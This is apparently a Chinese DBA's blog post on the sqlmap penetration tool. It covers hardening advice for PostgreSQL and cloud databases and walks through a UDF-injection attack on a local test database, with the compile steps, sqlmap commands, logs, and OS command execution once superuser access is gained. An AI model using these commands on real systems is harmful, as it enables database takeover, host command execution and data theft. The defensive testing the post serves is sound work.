标签
sqlmap , sql注入 , 自动渗透 , boolean-based blind , time-based blind , error-based , UNION query-based , stacked queries , out-of-band
背景
sqlmap特性介绍
1. 支持主流数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
2. 支持6种SQL注入手段
boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
3. 支持直连数据库的方式,攻击一些暴露在公网的数据库,如创建UDF函数(支持某些数据库),实施越权操作等(前提是能登陆数据库,然后利用数据库的漏洞或功能)
攻击手段,透过UDF以及数据库的功能,实施越权操作(比如利用数据库的DBLINK,访问数据库内网的其他主机),(比如通过数据库超级用户,创建UDF,执行操作系统的命令)。
4. 支持通过注入的方式,枚举或提取数据库用户、密码HASH(可以用于破译明文密码),表、列等
攻击手段,通常实施的方式是查询系统表,前提是提取到数据库的指纹(如品牌,版本),然后根据对应数据库版本提取对应的系统表.
enumerate users, password hashes, privileges, roles, databases, tables and columns.
Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
5. 支持通过注入的方式,导出数据,用户可以控制导出的列、根据条件过滤数据等。
攻击手段,数据查询、导入导出
Support to dump database tables entirely, a range of entries or specific columns as per user's choice.
The user can also choose to dump only a range of characters from each column's entry.
6. 支持通过注入的方式,在所有数据库中搜索指定表名,或者在所有数据库的表中搜索指定列名。
攻击手段,比如从URL里,可以猜测出列名,但是不知道表名,通过查询系统表可以得到包含该列名的表名。
Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables.
This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
7. 支持通过SQL注入的方式,或者直连数据库的方式,从数据库所在的操作系统下载文件,或者上传文件到数据库所在的操作系统。
攻击手段,通过数据库的文件访问接口,以及数据库的大对象接口。
Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
8. 支持通过SQL注入,或者直连数据库的方式,在数据库所在的操作系统中,执行操作系统的命令
攻击手段,通过数据库的UDF接口,调用操作系统syscall接口执行操作系统命令。
Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
9. 支持通过SQL注入的方式,让攻击机与数据库所在的操作系统建立TPC会话
攻击手段,通过端口代理的服务,类似这样的方法
Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system.
This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
10. 支持通过SQL注入的方式,入侵数据库所在操作系统,并从普通OS用户提升为超级用户
攻击手段,UDF
Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.
从sqlmap分析, 如何封堵数据库安全漏洞
sqlmap是一个比较常规的自动化渗透测试工具,主要针对HTTP协议、或者直连数据库的方式进行攻击或漏洞探测。
可以利用的漏洞都是常规的,并没有针对数据库指纹(指数据库的版本)实施特殊的攻击。
比如PostgreSQL数据库的安全页面,列出了所有版本的已知漏洞,在哪个版本存在,在哪个版本修复。
https://www.postgresql.org/support/security/
而这些漏洞,sqlmap并没有整合。除非你自己去扩展sqlmap。
也就是说,通过了sqlmap的渗透测试,并不代表安全。
sqlmap包含了哪些常规渗透测试?如何封堵常规的安全漏洞?
1. sql注入
防范手段,应用程序使用绑定变量,或者使用过滤规则。
SQL注入成功是后面的攻击基础。
2. 数据库用户密码hash
指SQL注入成功后。
防范手段1,业务使用普通用户连接数据库,那么它拿不到其他用户的密码hash。
防范手段2,隐藏或加密用户密码hash,任何情况下,你都只能看到加密后的hash。(需修改数据库内核来实现)
3. 上传下载数据库主机文件
指SQL注入成功后。
防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。
防范手段2,禁止一切文件读写操作权限的函数。
4. 调用数据库主机操作系统命令
指SQL注入成功后。
防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。
5. 把数据库主机变成肉鸡,或者跳板机
指SQL注入成功后。
防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。
6. 访问数据库主机才能访问的私有网络
指SQL注入成功后。
防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。
防范手段2,对有网络访问权限的插件,实行IP地址过滤,只能访问白名单内的IP,比如数据库的DBLINK插件,需要有白名单过滤机制。(需要修改数据库内核来实现)
防范手段3,隔离数据库主机与其他主机的网络访问。
PostgreSQL安全加固文档
前面已经提到了sqlmap的数据库安全检测并不完善,仅仅针对一些常规的攻击方法。
毕竟他们的团队不是专业搞数据库的,所以如果需要更加完善的数据库安全加固方法,可以参考如下文档。
《DBA专供 冈本003系列 - 数据库安全第一,过个好年》
《PostgreSQL psql 安全设置数据库用户密码的方法之一》
《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》
《PostgreSQL leakproof function in rule rewrite("attack" security_barrier views)》
《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》
《PostgreSQL 9.4 patch : Row-Level Security》
《EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷》
sqlmap 检测网站漏洞
略
云数据库的安全挑战
sqlmap支持直连数据库的方式,所以我们可以使用它来测试数据库是否存在常规漏洞。
比如获得操作系统权限,访问数据库主机的私网主机等。(对于云厂商来说,这个是比较致命的问题。)
通常云数据库如果提供给用户的是普通账号,如果是超级账号,那么要做到对云自身的保护,数据库内核的改动量会非常庞大。
云数据库可能运行在物理机也可能运行在虚拟机。
云数据库所在环境可能还有其他的主机,对用户是隔离的,但是云数据库主机也许能访问它们。
sqlmap 探测云数据库常规安全性
注意,sqlmap只包含了一些常规的安全测试手段,所以通过了SQLMAP的安全测试,并不代表这个云数据库是安全的。
例子
申请一个云数据库厂商的RDS,根据对应的RDS 数据库版本,编译UDF二进制。
https://github.com/sqlmapproject/udfhack
比如PostgreSQL 9.4
下载udf.c文件
使用9.4的PostgreSQL版本编译
gcc -Wall -I/usr/include/postgresql/9.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so
使用sqlmap的直连数据库方式进行测试,一会要用到这个lib_postgresqludf_sys.so文件,使用PostgreSQL大对象导出的方式将它导出到数据库主机的/tmp目录下。
sqlmap使用方法详见
https://github.com/sqlmapproject/sqlmap/wiki/Usage
安装连接数据库的python驱动
pip install python-psycopg2
cd sqlmap
python ./sqlmap.py -hh
Direct connection to the database
Option: -d
Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)
检测连接是否有效
python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres"
枚举测试
获取数据库指纹,获取用户密码HASH,获取有哪些数据库,获取表清单,获取数据等等
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Retrieve DBMS comments
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDECOL DBMS database table column(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
获取数据库指纹(banner)例子
python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" -b
输出
[16:18:42] [INFO] resumed: [[u'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit']]...
back-end DBMS operating system: Linux
back-end DBMS: PostgreSQL
banner: 'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit'
用户自定义函数
基于用户自定义函数,可以直接攻入操作系统,调用操作系统命令,等等。
目前具备危害的UDF包括C语言的UDF,或者其他例如PostgreSQL plpythonu之类的untrust语言的UDF。
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
前面编译的SO派上用场了,使用大对象导入,为了观测整个过程,可以设置数据库的log_statement='all';
python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so
[16:20:48] [INFO] connection to postgresql server 127.0.0.1:1921 established
[16:20:48] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[16:20:48] [INFO] fingerprinting the back-end DBMS operating system
[16:20:48] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist
[16:20:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:20:48] [INFO] the back-end DBMS operating system is Linux
[16:20:49] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist
[16:20:49] [INFO] testing if current user is DBA
[16:20:49] [INFO] resumed: [[u'1']]...
how many user-defined functions do you want to create from the shared library? 4 // 输入,创建多少个UDF,对应如下
// https://github.com/sqlmapproject/udfhack/blob/master/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql
what is the name of the UDF number 1? sys_exec // 输入
how many input parameters takes UDF 'sys_exec'? (default: 1) // 输入
what is the data-type of input parameter number 1? (default: text) // 输入
what is the data-type of the return value? (default: text) int4 // 输入
what is the name of the UDF number 2? sys_eval // 输入
how many input parameters takes UDF 'sys_eval'? (default: 1) // 输入
what is the data-type of input parameter number 1? (default: text) // 输入
what is the data-type of the return value? (default: text) // 输入
what is the name of the UDF number 3? sys_bineval // 输入
how many input parameters takes UDF 'sys_bineval'? (default: 1) // 输入
what is the data-type of input parameter number 1? (default: text) // 输入
what is the data-type of the return value? (default: text) int4 // 输入
what is the name of the UDF number 4? sys_fileread // 输入
how many input parameters takes UDF 'sys_fileread'? (default: 1) // 输入
what is the data-type of input parameter number 1? (default: text) // 输入
what is the data-type of the return value? (default: text) // 输入
[16:22:40] [INFO] checking if UDF 'sys_fileread' already exist
[16:22:40] [INFO] checking if UDF 'sys_bineval' already exist
[16:22:40] [INFO] checking if UDF 'sys_eval' already exist
[16:22:40] [INFO] checking if UDF 'sys_exec' already exist
[16:22:40] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist
[16:22:40] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist
[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject // 普通用户没有直接INSERT pg_largeobject的权限
[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject
[16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject
[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject
[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject
[16:22:41] [WARNING] (remote) (ProgrammingError) must be superuser to use server-side lo_export() // 超级用户才能调用 lo_export() 函数 ,导出到数据库主机
HINT: Anyone can use the client-side lo_export() provided by libpq. // 客户端lo_export()只能将大对象导出到客户端,不能导出到数据库主机
[16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject
[16:22:41] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[16:22:41] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist
[16:22:41] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist
[16:22:41] [ERROR] there has been a problem uploading the shared library, it looks like the binary file has not been written on the database underlying file system
do you want to proceed anyway? Beware that the operating system takeover will fail [y/N] y // 是否开始创建UDF
[16:22:45] [INFO] creating UDF 'sys_fileread' from the binary UDF file
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist // 由于.so导出到数据库主机失败,所以创建UDF必然是失败的
[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c
[16:22:45] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist
[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c
[16:22:45] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist
[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c
[16:22:45] [INFO] creating UDF 'sys_exec' from the binary UDF file
[16:22:45] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist
[16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c
do you want to call your injected user-defined functions now? [Y/n/q] Y // 调用UDF
which UDF do you want to call?
[1] sys_fileread
[2] sys_bineval
[3] sys_eval
[4] sys_exec
[q] Quit
> 3
what is the value of the parameter number 1 (data-type: text)? df -h
do you want to retrieve the return value of the UDF? [Y/n] Y
[16:23:11] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist
LINE 1: SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(1...
^
HINT: No function matches the given name and argument types. You might need to add explicit type casts.
No return value
do you want to call this or another injected UDF? [Y/n] n // 退出,删除UDF
[16:23:14] [INFO] cleaning up the database management system
[16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist
[16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist
do you want to remove UDF 'sys_fileread'? [Y/n] Y
[16:23:18] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist
do you want to remove UDF 'sys_bineval'? [Y/n] Y
[16:23:20] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist
do you want to remove UDF 'sys_eval'? [Y/n] Y
[16:23:21] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist
do you want to remove UDF 'sys_exec'? [Y/n] Y
[16:23:22] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist
[16:23:22] [INFO] database management system cleanup finished
[16:23:22] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
[16:23:22] [INFO] connection to postgresql server 127.0.0.1:1921 closed
[*] shutting down at 16:23:22
数据库日志输出
2017-02-13 16:20:48.618 CST,,,20257,"127.0.0.1:58538",58a16c60.4f21,1,"",2017-02-13 16:20:48 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=58538",,,,,,,,"BackendInitialize, postmaster.c:4116",""
2017-02-13 16:20:48.619 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,2,"authentication",2017-02-13 16:20:48 CST,2/268,0,LOG,00000,"connection authorized: user=test database=postgres",,,,,,,,"PerformAuthentication, postinit.c:272",""
2017-02-13 16:20:48.648 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,3,"DROP TABLE",2017-02-13 16:20:48 CST,2/270,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""
2017-02-13 16:20:49.077 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,4,"DROP TABLE",2017-02-13 16:20:48 CST,2/274,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""
2017-02-13 16:22:40.927 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,5,"DROP TABLE",2017-02-13 16:20:48 CST,2/275,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""
直接操作pg_largeobject失败,没有权限
2017-02-13 16:22:40.933 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,6,"SELECT",2017-02-13 16:20:48 CST,2/277,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697",""
2017-02-13 16:22:40.936 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,7,"DELETE",2017-02-13 16:20:48 CST,2/278,2266,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"DELETE FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:40.957 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,8,"INSERT",2017-02-13 16:20:48 CST,2/290,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 0, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:40.979 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,9,"INSERT",2017-02-13 16:20:48 CST,2/303,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 1, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:41.000 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,10,"INSERT",2017-02-13 16:20:48 CST,2/316,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 2, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:41.019 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,11,"INSERT",2017-02-13 16:20:48 CST,2/328,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 3, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403",""
调用lo_export(7989, '/tmp/lib_postgresqludf_sys.so')导出失败
2017-02-13 16:22:41.022 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,12,"SELECT",2017-02-13 16:20:48 CST,2/330,0,ERROR,42501,"must be superuser to use server-side lo_export()",,"Anyone can use the client-side lo_export() provided by libpq.",,,,"SELECT lo_export(7989, '/tmp/lib_postgresqludf_sys.so')",,"lo_export, be-fsstubs.c:522",""
2017-02-13 16:22:41.024 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,13,"SELECT",2017-02-13 16:20:48 CST,2/331,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:41.025 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,14,"SELECT",2017-02-13 16:20:48 CST,2/332,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697",""
2017-02-13 16:22:41.191 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,15,"DROP TABLE",2017-02-13 16:20:48 CST,2/334,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""
2017-02-13 16:22:45.717 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,16,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/335,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925",""
创建UDF失败
2017-02-13 16:22:45.718 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,17,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/336,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:45.720 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,18,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/337,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:22:45.722 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,19,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/338,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:45.723 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,20,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/339,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:22:45.725 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,21,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/340,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""
2017-02-13 16:22:45.726 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,22,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/341,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:22:45.728 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,23,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/342,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403",""
使用sys_eval调用df -h失败,因为没有这个函数
2017-02-13 16:23:11.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,24,"SELECT",2017-02-13 16:20:48 CST,2/345,0,ERROR,42883,"function sys_eval(text) does not exist",,"No function matches the given name and argument types. You might need to add explicit type casts.",,,,"SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(104)))",8,"ParseFuncOrColumn, parse_func.c:523",""
2017-02-13 16:23:14.737 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,25,"DROP TABLE",2017-02-13 16:20:48 CST,2/346,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759",""
2017-02-13 16:23:14.738 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,26,"DROP TABLE",2017-02-13 16:20:48 CST,2/347,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759",""
2017-02-13 16:23:18.347 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,27,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/349,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:23:20.767 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,28,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/350,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:23:21.618 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,29,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/351,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:23:22.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,30,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/352,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925",""
2017-02-13 16:23:22.540 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,31,"idle",2017-02-13 16:20:48 CST,,0,LOG,00000,"disconnection: session time: 0:02:33.922 user=test database=postgres host=127.0.0.1 port=58538",,,,,,,,"log_disconnections, postgres.c:4507",""
如果使用超级用户,以上是可以成功的
$python ./sqlmap.py -d "postgresql://postgres:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so --hex
do you want to call your injected user-defined functions now? [Y/n/q] Y
which UDF do you want to call?
[1] sys_fileread
[2] sys_bineval
[3] sys_eval
[4] sys_exec
[q] Quit
> 3
what is the value of the parameter number 1 (data-type: text)? df -h
do you want to retrieve the return value of the UDF? [Y/n] Y
return value:
---
Filesystem Size Used Avail Use% Mounted on
......
tmpfs 384G 0 384G 0% /data01
tmpfs 96G 25M 96G 1% /dev/shm
---
do you want to call this or another injected UDF? [Y/n] Y
which UDF do you want to call?
[1] sys_fileread
[2] sys_bineval
[3] sys_eval
[4] sys_exec
[q] Quit
> 3
what is the value of the parameter number 1 (data-type: text)? ls -l
do you want to retrieve the return value of the UDF? [Y/n] Y
return value:
---
total 128
-rw------- 1 digoal users 4 Jan 16 11:33 PG_VERSION
drwx------ 9 digoal users 4096 Jan 19 17:09 base
drwx------ 2 digoal users 4096 Feb 13 16:33 global
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_clog
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_commit_ts
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_dynshmem
-rw------- 1 digoal users 4468 Jan 16 11:33 pg_hba.conf
-rw------- 1 digoal users 1636 Jan 16 11:33 pg_ident.conf
drwx------ 2 digoal users 4096 Feb 13 16:03 pg_log
drwx------ 4 digoal users 4096 Jan 16 11:33 pg_logical
drwx------ 4 digoal users 4096 Jan 16 11:33 pg_multixact
drwx------ 2 digoal users 4096 Feb 13 16:03 pg_notify
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_replslot
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_serial
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_snapshots
drwx------ 2 digoal users 4096 Feb 13 16:03 pg_stat
drwx------ 2 digoal users 4096 Feb 13 16:34 pg_stat_tmp
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_subtrans
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_tblspc
drwx------ 2 digoal users 4096 Jan 16 11:33 pg_twophase
drwx------ 3 digoal users 4096 Feb 13 16:33 pg_xlog
-rw------- 1 digoal users 88 Jan 16 11:33 postgresql.auto.conf
-rw------- 1 digoal users 24676 Jan 16 12:38 postgresql.conf
-rw------- 1 digoal users 37 Feb 13 16:03 postmaster.opts
-rw------- 1 digoal users 86 Feb 13 16:03 postmaster.pid
---
数据库日志略
读写文件,同样使用以上UDF
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
执行操作系统命令,同样使用以上UDF
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
参考
https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap_src/sqlmap.conf
http://baike.baidu.com/view/9472.htm
https://hit-alibaba.github.io/interview/basic/network/HTTP.html